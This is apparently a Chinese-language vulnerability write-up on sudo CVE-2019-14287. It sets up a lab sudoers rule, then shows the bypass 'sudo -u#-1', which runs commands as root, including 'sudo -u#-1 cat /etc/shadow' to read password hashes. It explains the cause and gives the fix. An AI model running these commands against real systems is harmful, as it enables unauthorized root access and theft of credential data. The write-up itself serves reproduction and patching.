2019年10月14日, sudo 官方在發布了 CVE-2019-14287 的漏洞預警。
0x00 簡介
sudo 是所有 unix操作系統(BSD, MacOS, GNU/Linux) 基本集成的一個用戶權限控制/切換程序。允許管理員控制服務器下用戶能夠切換的用戶權限。
0x01 漏洞概述
該漏洞是一個sudo安全策略繞過問題,可導致惡意用戶或程序在目標 Linux 系統上以 root 身份執行任意命令。個人覺得該漏洞比較雞肋,因為需要特殊的配置才能觸發,在默認的Linux中並不會存在該安全問題。
0x02 影響版本
Sudo版本 < 1.8.28
0x03 環境搭建
任何linux機器上執行sudo -V得到的版本 < 1.8.28均可
本人使用的環境為sudo 1.8.16
由於需要特定的配置,所以首先修改配置文件sudoers(文件位置/etc/sudoers)
在 root ALL=(ALL:ALL) ALL 下面添加一行配置:
test ALL=(ALL,!root) ALL
1.其中的test表示用戶名
2.第一個ALL表示允許該用戶在任意機器或者終端中使用sudo
3.括號里面的(ALL,!root)表示命令可以被除了root以外的任意用戶身份去執行
4.最后一個ALL表示被允許執行
添加的這一行的配置的意思就是:test這個用戶可以使用sudo命令,以除了root以外的任意身份去執行命令。
0x04 漏洞利用
1.首先切換到test用戶:
su test
2.執行 sudo whoami
失敗
3.執行sudo -u#id whoami
這里的id可以去試任何id,我在/etc/group
里挑選了test自身的id:1001
執行sudo -u#1001 whoami
成功
執行sudo -u#-1 whoami
成功
4.嘗試高權限操作
執行cat /etc/shadow
失敗
執行sudo -u#-1 cat /etc/shadow
成功
5.解釋:
使用 sudo -u#id
指定用戶 id 去執行命令,由於可以指定id,所以可以使用-u#-1
或者-u#4294967295
繞過限制,從而以root身份去執行任意代碼:這是因為 sudo 命令本身就已經以用戶 ID 為0 運行,因此當 sudo 試圖將用戶 ID 修改成 -1時,不會發生任何變化。這就導致 sudo 日志條目將該命令報告為以用戶 ID 為 4294967295而非 root (或者用戶ID為 0)運行命令。
0x05 修復方式
更新至 Sudo 1.8.28 版本